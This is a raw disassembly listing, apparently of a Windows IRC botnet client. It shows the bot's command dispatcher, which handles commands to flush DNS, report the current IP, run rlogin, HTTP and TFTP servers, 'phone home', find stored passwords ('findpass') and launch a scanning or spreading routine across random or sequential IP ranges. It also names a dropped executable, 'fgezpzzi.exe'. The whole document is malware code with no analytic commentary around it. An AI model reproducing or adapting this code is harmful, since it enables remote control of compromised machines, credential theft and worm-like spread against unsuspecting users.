push edi ; Str2
push offset aFlushdns ; "flushdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi ; Str2
push offset aFdns ; "fdns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403ECB
push edi ; Str2
push offset aCurrentip ; "currentip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi ; Str2
push offset aCip ; "cip"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403E91
push edi ; Str2
push offset aRloginserver ; "rloginserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi ; Str2
push offset aRlogin ; "rlogin"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403D56
push edi ; Str2
push offset aHttpserver ; "httpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi ; Str2
push offset aHttp ; "http"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403BCA
push edi ; Str2
push offset aTftpserver ; "tftpserver"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi ; Str2
push offset aTftp ; "tftp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403A90
push edi ; Str2
push offset aShitycrash ; "shitycrash"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_403653
lea eax, [ebp+Dst]
push offset unk_42C444 ; Format
push eax ; Dest
call _sprintf
cmp [ebp+var_8], ebx
pop ecx
pop ecx
jnz short loc_403632
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_403632: ; CODE XREF: sub_401ACD+1B47j
lea eax, [ebp+Dst]
push eax ; Str2
call sub_415D38
mov [esp+569Ch+var_569C], offset aShitycrash ; "shitycrash"
push [ebp+esi+var_7C] ; Str1
call _strcmp
jmp loc_4097D0
; ---------------------------------------------------------------------------
loc_403653: ; CODE XREF: sub_401ACD+1B2Fj
push edi ; Str2
push offset aAsc ; "asc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi ; Str2
push offset aAs ; "as"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_403789
push edi ; Str2
push offset aPhonehome ; "phonehome"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4036AA
lea eax, [ebp+var_C4]
push eax ; Args
push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI Are You T"...
push [ebp+arg_4] ; int
call sub_409823
loc_4036A2: ; CODE XREF: sub_401ACD+47Bj
add esp, 0Ch
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_4036AA: ; CODE XREF: sub_401ACD+1BBFj
push edi ; Str2
push offset aFindpass ; "findpass"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_4036D0
push edi ; Str2
push offset aFp ; "fp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_403446
loc_4036D0: ; CODE XREF: sub_401ACD+1BECj
push [ebp+Format] ; Format
lea eax, [ebp+var_FEC]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_FF0], eax
mov eax, [ebp+var_4]
mov [ebp+var_F68], eax
mov eax, [ebp+var_8]
mov [ebp+var_F64], eax
push offset asc_42C3C4 ; "-"
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
push ebx ; int
lea eax, [ebp+Dst]
push 26h ; int
push eax ; Source
call sub_40B3BA
add esp, 18h
mov [ebp+var_F6C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FF0]
push ebx
push eax
push offset sub_4172C1
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_F6C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403778
loc_403762: ; CODE XREF: sub_401ACD+1CA9j
cmp [ebp+var_F60], ebx
jnz loc_4082DE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403762
; ---------------------------------------------------------------------------
loc_403778: ; CODE XREF: sub_401ACD+1C93j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C388
jmp loc_4082CF
; ---------------------------------------------------------------------------
loc_403789: ; CODE XREF: sub_401ACD+1B95j
; sub_401ACD+1BAAj
mov al, byte_4319DA
mov [ebp+Src], ebx
cmp al, bl
mov edx, offset byte_4319DA
jz loc_401F75
mov ecx, edx
loc_4037A0: ; CODE XREF: sub_401ACD+1CDBj
inc [ebp+Src]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_4037A0
cmp al, bl
jz loc_401F75
mov [ebp+arg_18], edx
loc_4037B5: ; CODE XREF: sub_401ACD+1FAEj
push 0Bh
call sub_40B602
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv [ebp+Src]
mov edx, eax
mov eax, 320h
add edx, ecx
cmp edx, eax
jle short loc_403808
push ecx
lea eax, [ebp+Dst]
push offset asc_42C34C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 20h
jmp loc_403A72
; ---------------------------------------------------------------------------
loc_403808: ; CODE XREF: sub_401ACD+1D06j
or [ebp+var_730], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+var_734], 64h
mov [ebp+var_748], 5
mov [ebp+var_744], eax
mov [ebp+Src], ebx
jz short loc_403875
mov eax, [ebp+arg_18]
mov esi, offset dword_4317F8
lea edi, [eax-0Ah]
loc_40383F: ; CODE XREF: sub_401ACD+1D8Aj
lea eax, [esi-28h]
push edi ; Str2
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_40385B
inc [ebp+Src]
add esi, 40h
cmp [esi], ebx
jnz short loc_40383F
jmp short loc_403875
; ---------------------------------------------------------------------------
loc_40385B: ; CODE XREF: sub_401ACD+1D80j
mov eax, [ebp+Src]
mov ecx, eax
mov [ebp+var_730], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_74C], ecx
loc_403875: ; CODE XREF: sub_401ACD+1D65j
; sub_401ACD+1D8Cj
cmp [ebp+var_74C], ebx
jz loc_403A86
push 10h
lea eax, [ebp+var_2D4]
pop esi
push eax
lea eax, [ebp+var_30C]
push eax
mov [ebp+var_2D4], esi
push [ebp+arg_4]
call dword_4CB978 ; getsockname
mov al, [ebp+var_8FF]
push esi ; Args
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+Count], eax
push [ebp+Count] ; Count
call dword_4CBA60 ; inet_ntoa
push eax ; Source
lea eax, [ebp+var_860]
push eax ; Dest
call _strncpy
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h ; Ch
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_860]
push eax ; Str
call _strrchr
add esp, 14h
cmp esi, ebx
mov byte ptr [ebp+File+3], bl
jle short loc_40391D
loc_4038FB: ; CODE XREF: sub_401ACD+1E4Ej
cmp eax, ebx
jz short loc_40391D
mov byte ptr [eax], 78h
lea eax, [ebp+var_860]
push 30h ; Ch
push eax ; Str
call _strrchr
inc byte ptr [ebp+File+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+File+3]
cmp ecx, esi
jl short loc_4038FB
loc_40391D: ; CODE XREF: sub_401ACD+1E2Cj
; sub_401ACD+1E30j
mov eax, [ebp+arg_4]
push [ebp+Format] ; Format
mov esi, [ebp+var_4]
mov edi, [ebp+var_8]
mov [ebp+var_750], eax
lea eax, [ebp+var_850]
push 80h ; Count
push eax ; Dest
mov [ebp+var_720], 1
mov [ebp+var_728], esi
mov [ebp+var_724], edi
call __snprintf
push offset byte_43DB88 ; Str2
push offset aF ; "#f"
call _strcmp
add esp, 14h
test eax, eax
jz short loc_40398A
push offset aF ; "#f"
lea eax, [ebp+var_7D0]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_403990
; ---------------------------------------------------------------------------
loc_40398A: ; CODE XREF: sub_401ACD+1EA0j
mov [ebp+var_7D0], bl
loc_403990: ; CODE XREF: sub_401ACD+1EBBj
cmp [ebp+var_720], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4039A2
mov eax, offset aSequential ; "Sequential"
loc_4039A2: ; CODE XREF: sub_401ACD+1ECEj
push [ebp+var_734]
lea ecx, [ebp+var_860]
push [ebp+var_744]
push [ebp+var_748]
push [ebp+var_74C]
push ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42C2CC ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 0Bh ; int
push eax ; Source
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_740], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40C600
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_740]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403A2C
loc_403A1A: ; CODE XREF: sub_401ACD+1F5Dj
cmp [ebp+var_71C], ebx
jnz short loc_403A47
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403A1A
; ---------------------------------------------------------------------------
loc_403A2C: ; CODE XREF: sub_401ACD+1F4Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset asc_42C290 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_403A47: ; CODE XREF: sub_401ACD+1F53j
cmp edi, ebx
jnz short loc_403A65
push ebx ; int
lea eax, [ebp+Dst]
push esi ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_403A65: ; CODE XREF: sub_401ACD+1F7Cj
lea eax, [ebp+Dst]
push eax
call sub_415D38
pop ecx
loc_403A72: ; CODE XREF: sub_401ACD+1D36j
add [ebp+arg_18], 0Bh
mov eax, [ebp+arg_18]
cmp [eax], bl
jnz loc_4037B5
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_403A86: ; CODE XREF: sub_401ACD+1DAEj
push offset unk_42C258
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403A90: ; CODE XREF: sub_401ACD+1B05j
; sub_401ACD+1B1Aj
push 5
call sub_40B602
test eax, eax
pop ecx
jle short loc_403AA6
push offset unk_42C238
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_403AA6: ; CODE XREF: sub_401ACD+1FCDj
mov eax, dword ptr [ebp+esi+Args]
cmp eax, ebx
jz short loc_403AC9
push eax ; Format
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
jmp short loc_403ADD
; ---------------------------------------------------------------------------
loc_403AC9: ; CODE XREF: sub_401ACD+1FE2j
mov edi, 104h
lea eax, [ebp+var_2D54]
push edi
push eax
push ebx
call ds:dword_427078 ; GetModuleFileNameA
loc_403ADD: ; CODE XREF: sub_401ACD+1FFAj
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_403AED
mov esi, offset Str ; "fgezpzzi.exe"
loc_403AED: ; CODE XREF: sub_401ACD+2019j
push esi ; Format
lea eax, [ebp+var_2C50]
push edi ; Count
push eax ; Dest
call __snprintf
mov eax, dword_429078
push 7Fh ; Count
push [ebp+Format] ; Source
mov [ebp+var_2B44], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2B48], ebx
mov [ebp+var_2D58], eax
lea eax, [ebp+var_2B40]
push eax ; Dest
call _strncpy
mov eax, [ebp+var_4]
add esp, 18h
mov [ebp+var_2AC0], eax
mov eax, [ebp+var_8]
mov [ebp+var_2ABC], eax
lea eax, [ebp+var_2D54]
push eax
lea eax, [ebp+Dst]
push [ebp+var_2B44]
push offset asc_42C204 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 5 ; int
push eax ; Source
call sub_40B3BA
add esp, 1Ch
mov [ebp+var_2B4C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2D58]
push ebx
push eax
push offset sub_412197
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_2B4C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403BB9
loc_403BA3: ; CODE XREF: sub_401ACD+20EAj
cmp [ebp+var_2AB8], ebx
jnz loc_4081AD
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403BA3
; ---------------------------------------------------------------------------
loc_403BB9: ; CODE XREF: sub_401ACD+20D4j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C1C8
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_403BCA: ; CODE XREF: sub_401ACD+1ADBj
; sub_401ACD+1AF0j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_403BE9
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_403BE9
push edi ; Str
call _atoi
pop ecx
jmp short loc_403BEE
; ---------------------------------------------------------------------------
loc_403BE9: ; CODE XREF: sub_401ACD+2106j
; sub_401ACD+2111j
mov eax, dword_42907C
loc_403BEE: ; CODE XREF: sub_401ACD+211Aj
mov esi, [ebp+esi+Format]
mov [ebp+var_36CC], eax
xor eax, eax
cmp [ebp+var_8FC], bl
setz al
cmp esi, ebx
mov [ebp+var_36B8], eax
jz short loc_403C21
lea eax, [ebp+var_37D0]
push esi ; Format
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_403C4C
; ---------------------------------------------------------------------------
loc_403C21: ; CODE XREF: sub_401ACD+2141j
lea eax, [ebp+FullPath]
push 104h
push eax
call ds:dword_42707C ; GetSystemDirectoryA
push ebx ; Ext
push ebx ; Filename
lea eax, [ebp+Drive]
push ebx ; Dir
push eax ; Drive
lea eax, [ebp+FullPath]
push eax ; FullPath
call __splitpath
add esp, 14h
loc_403C4C: ; CODE XREF: sub_401ACD+2152j
lea eax, [ebp+var_37D0]
push eax ; Str
call _strlen
cmp [ebp+eax+var_37D1], 5Ch
pop ecx
jnz short loc_403C77
lea eax, [ebp+var_37D0]
push eax ; Str
call _strlen
pop ecx
mov [ebp+eax+var_37D1], bl
loc_403C77: ; CODE XREF: sub_401ACD+2194j
push [ebp+Format] ; Format
mov esi, [ebp+arg_4]
lea eax, [ebp+var_3A58]
mov [ebp+var_3A5C], esi
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_36BC], eax
lea eax, [ebp+var_37D0]
mov [ebp+var_36C0], edi
push eax
push [ebp+var_36CC]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42C18C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 3 ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_36C4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3A5C]
push ebx
push eax
push offset sub_40FAD6
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_36C4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403D2B
loc_403D19: ; CODE XREF: sub_401ACD+225Cj
cmp [ebp+var_36B0], ebx
jnz short loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403D19
; ---------------------------------------------------------------------------
loc_403D2B: ; CODE XREF: sub_401ACD+224Aj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset asc_42C150 ; "-"
loc_403D37: ; CODE XREF: sub_401ACD+23BFj
; sub_401ACD+4BDCj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_403D46: ; CODE XREF: sub_401ACD+2252j
; sub_401ACD+23A3j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push edi
jmp loc_4071A3
; ---------------------------------------------------------------------------
loc_403D56: ; CODE XREF: sub_401ACD+1AB1j
; sub_401ACD+1AC6j
mov edi, dword ptr [ebp+esi+Args]
cmp edi, ebx
jz short loc_403D75
push edi ; Str
call _atoi
test eax, eax
pop ecx
jz short loc_403D75
push edi ; Str
call _atoi
pop ecx
jmp short loc_403D7A
; ---------------------------------------------------------------------------
loc_403D75: ; CODE XREF: sub_401ACD+2292j
; sub_401ACD+229Dj
mov eax, dword_429080
loc_403D7A: ; CODE XREF: sub_401ACD+22A6j
mov [ebp+var_1828], eax
mov eax, [ebp+esi+Format]
cmp eax, ebx
jnz short loc_403D91
lea eax, [ebp+var_C4]
loc_403D91: ; CODE XREF: sub_401ACD+22BCj
push eax ; Format
lea eax, [ebp+var_1968]
push 40h ; Count
push eax ; Dest
call __snprintf
mov esi, [ebp+esi+Str2]
add esp, 0Ch
cmp esi, ebx
jnz short loc_403DB3
mov esi, offset byte_43DB88
loc_403DB3: ; CODE XREF: sub_401ACD+22DFj
push esi ; Format
lea eax, [ebp+var_1928]
push 100h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+var_19E8]
push [ebp+Format] ; Format
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+var_8]
mov esi, [ebp+arg_4]
mov edi, [ebp+var_4]
add esp, 0Ch
mov [ebp+var_1814], eax
lea eax, [ebp+var_1968]
push eax
mov [ebp+var_19EC], esi
push [ebp+var_1828]
mov [ebp+var_1818], edi
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+Dst]
push offset asc_42C114 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 9 ; int
push eax ; Source
call sub_40B3BA
add esp, 20h
mov [ebp+var_1824], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_19EC]
push ebx
push eax
push offset sub_41144E
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1824]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_403E80
loc_403E6A: ; CODE XREF: sub_401ACD+23B1j
cmp [ebp+var_1810], ebx
jnz loc_403D46
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_403E6A
; ---------------------------------------------------------------------------
loc_403E80: ; CODE XREF: sub_401ACD+239Bj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42C0D8
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_403E91: ; CODE XREF: sub_401ACD+1A87j
; sub_401ACD+1A9Cj
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_403EA4
push esi ; Str
call _atoi
jmp short loc_403EAB
; ---------------------------------------------------------------------------
loc_403EA4: ; CODE XREF: sub_401ACD+23CDj
push 0Bh
call sub_40B621
loc_403EAB: ; CODE XREF: sub_401ACD+23D5j
cmp eax, ebx
pop ecx
jz loc_409644
push eax ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40BD1A
jmp loc_404376
; ---------------------------------------------------------------------------
loc_403ECB: ; CODE XREF: sub_401ACD+1A5Dj
; sub_401ACD+1A72j
mov eax, dword_4CB8F0
cmp eax, ebx
jz short loc_403EE8
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_403EE1
push offset unk_42C0B4
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE1: ; CODE XREF: sub_401ACD+240Bj
push offset unk_42C088
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403EE8: ; CODE XREF: sub_401ACD+2405j
push offset asc_42C05C ; "-"
loc_403EED: ; CODE XREF: sub_401ACD+2412j
; sub_401ACD+2419j ...
lea eax, [ebp+Dst]
push 200h ; Count
push eax ; Dest
call __snprintf
jmp loc_406BFB
; ---------------------------------------------------------------------------
loc_403F03: ; CODE XREF: sub_401ACD+1A33j
; sub_401ACD+1A48j
call sub_40A928
test eax, eax
jz short loc_403F13
push offset unk_42C038
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F13: ; CODE XREF: sub_401ACD+243Dj
push offset unk_42C00C
jmp short loc_403EED
; ---------------------------------------------------------------------------
loc_403F1A: ; CODE XREF: sub_401ACD+1A09j
; sub_401ACD+1A1Ej
cmp [ebp+var_8], ebx
jnz short loc_403F39
push ebx ; int
push [ebp+var_4] ; int
push offset dword_42BFF4 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_403F39: ; CODE XREF: sub_401ACD+2450j
push ebx ; int
push [ebp+var_4] ; int
call sub_418723
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
push offset unk_42BFD8
jmp loc_40423F
; ---------------------------------------------------------------------------
loc_403F5B: ; CODE XREF: sub_401ACD+18A0j
; sub_401ACD+18B5j
push 0Ah
call sub_40B602
test eax, eax
pop ecx
jle short loc_403F6E
push offset unk_42BFAC
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F6E: ; CODE XREF: sub_401ACD+2498j
push [ebp+Format]
push [ebp+arg_4]
call sub_41A1B1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_403F8A
push offset unk_42BF84
jmp short loc_403F8F
; ---------------------------------------------------------------------------
loc_403F8A: ; CODE XREF: sub_401ACD+24B4j
push offset asc_42BF64 ; "-"
loc_403F8F: ; CODE XREF: sub_401ACD+249Fj
; sub_401ACD+24BBj ...
lea eax, [ebp+Dst]
push eax ; Dest
call _sprintf
pop ecx
pop ecx
loc_403F9D: ; CODE XREF: sub_401ACD+5781j
cmp [ebp+var_8], ebx
jnz short loc_403FBE
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
loc_403FB6: ; CODE XREF: sub_401ACD+6DA8j
call sub_409869
add esp, 14h
loc_403FBE: ; CODE XREF: sub_401ACD+24D3j
; sub_401ACD+26B0j ...
lea eax, [ebp+Dst]
push eax
call sub_415D38
jmp loc_4097D1
; ---------------------------------------------------------------------------
loc_403FCF: ; CODE XREF: sub_401ACD+1876j
; sub_401ACD+188Bj
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_40A5C5
jmp loc_404260
; ---------------------------------------------------------------------------
loc_403FE8: ; CODE XREF: sub_401ACD+184Cj
; sub_401ACD+1861j
push dword ptr [ebp+esi+Args] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_416FCF
jmp loc_404260
; ---------------------------------------------------------------------------
loc_404005: ; CODE XREF: sub_401ACD+1822j
; sub_401ACD+1837j
or edi, 0FFFFFFFFh
call ds:dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
mov [ebp+Src], eax
jz short loc_40402E
push esi ; Str
call _atoi
pop ecx
mov edi, eax
loc_40402E: ; CODE XREF: sub_401ACD+2556j
mov eax, [ebp+Src]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_404047
cmp edi, 0FFFFFFFFh
jnz loc_409644
loc_404047: ; CODE XREF: sub_401ACD+256Fj
push ebx
call sub_41ADD8
pop ecx
push eax
lea eax, [ebp+Dst]
push offset unk_42BF4C ; Format
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
lea eax, [ebp+Dst]
push eax
call sub_415D38
loc_404085: ; CODE XREF: sub_401ACD+51BCj
add esp, 24h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40408D: ; CODE XREF: sub_401ACD+17F8j
; sub_401ACD+180Dj
push 27h
call sub_40B602
test eax, eax
pop ecx
jle short loc_4040BE
cmp [ebp+var_8], ebx
jnz loc_401F75
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42BF2C ; int
loc_4040AB: ; CODE XREF: sub_401ACD+4F88j
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
jmp loc_408C05
; ---------------------------------------------------------------------------
loc_4040BE: ; CODE XREF: sub_401ACD+25CAj
push [ebp+Format] ; Format
lea eax, [ebp+var_BC4]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
mov esi, dword ptr [ebp+esi+Args]
mov [ebp+var_BC8], eax
mov eax, [ebp+var_4]
mov [ebp+var_B3C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_B38], eax
mov [ebp+var_B40], ebx
jz short loc_40411F
push esi ; Str2
push offset aFull ; "full"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40411F
mov [ebp+var_B40], 1
loc_40411F: ; CODE XREF: sub_401ACD+2635j
; sub_401ACD+2646j
lea eax, [ebp+Dst]
push offset asc_42BF08 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 27h ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov [ebp+var_B44], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_BC8]
push ebx
push eax
push offset sub_419E38
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_B44]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40418D
loc_404177: ; CODE XREF: sub_401ACD+26BEj
cmp [ebp+var_B34], ebx
jnz loc_403FBE
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404177
; ---------------------------------------------------------------------------
loc_40418D: ; CODE XREF: sub_401ACD+26A8j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Dst]
push offset asc_42BECC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_403FBE
; ---------------------------------------------------------------------------
loc_4041AD: ; CODE XREF: sub_401ACD+17CEj
; sub_401ACD+17E3j
cmp [ebp+var_8], ebx
jnz short loc_4041CC
push ebx ; int
push [ebp+var_4] ; int
push offset unk_42BEB4 ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
add esp, 14h
loc_4041CC: ; CODE XREF: sub_401ACD+26E3j
push [ebp+arg_4]
call dword_4CBA6C ; closesocket
call dword_4CB92C ; WSACleanup
call sub_4188A6
push ebx
call ds:dword_42706C ; ExitProcess
loc_4041E7: ; CODE XREF: sub_401ACD+17A4j
; sub_401ACD+17B9j
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push eax
call sub_41AF8F
pop ecx
pop ecx
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
push offset unk_42BE9C
jmp short loc_40423F
; ---------------------------------------------------------------------------
loc_404212: ; CODE XREF: sub_401ACD+177Aj
; sub_401ACD+178Fj
push ebx ; int
lea eax, [ebp+Dst]
push [ebp+var_4] ; int
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B243
add esp, 0Ch
push eax ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409869
push offset unk_42BE84
loc_40423F: ; CODE XREF: sub_401ACD+2489j
; sub_401ACD+2743j
call sub_415D38
add esp, 18h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_40424C: ; CODE XREF: sub_401ACD+1750j
; sub_401ACD+1765j
push [ebp+var_8] ; int
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_415DD8
loc_404260: ; CODE XREF: sub_401ACD+3C8j
; sub_401ACD+2516j ...
add esp, 10h
jmp loc_401F75
; ---------------------------------------------------------------------------
loc_404268: ; CODE XREF: sub_401ACD+1726j
; sub_401ACD+173Bj
cmp [ebp+var_C], ebx
mov [ebp+var_1598], bl
jz short loc_4042A7
mov esi, dword ptr [ebp+esi+Args]
cmp esi, ebx
jz short loc_4042A7
push esi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4042A7
push eax
push offset aS_6 ; "%s"
lea eax, [ebp+var_1598]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
loc_4042A7: ; CODE XREF: sub_401ACD+27A4j
; sub_401ACD+27AFj ...
push [ebp+Format] ; Format
lea eax, [ebp+var_1618]
push 80h ; Count
push eax ; Dest
call __snprintf
mov eax, [ebp+arg_4]
add esp, 0Ch
mov [ebp+var_161C], eax
mov eax, [ebp+var_4]
mov [ebp+var_1514], eax
mov eax, [ebp+var_8]
mov [ebp+var_1510], eax
lea eax, [ebp+Dst]
push offset asc_42BE6C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 25h ; int
push eax ; Source
call sub_40B3BA
add esp, 14h
mov [ebp+var_1518], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_161C]
push ebx
push eax
push offset sub_415E4B
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_1518]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40434A
loc_404334: ; CODE XREF: sub_401ACD+287Bj
cmp [ebp+var_150C], ebx
jnz loc_401F75
push 32h
call ds:dword_427080 ; Sleep
jmp short loc_404334
; ---------------------------------------------------------------------------
loc_40434A: ; CODE XREF: sub_401ACD+2865j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
push offset unk_42BE34
jmp loc_4097CB
; ---------------------------------------------------------------------------
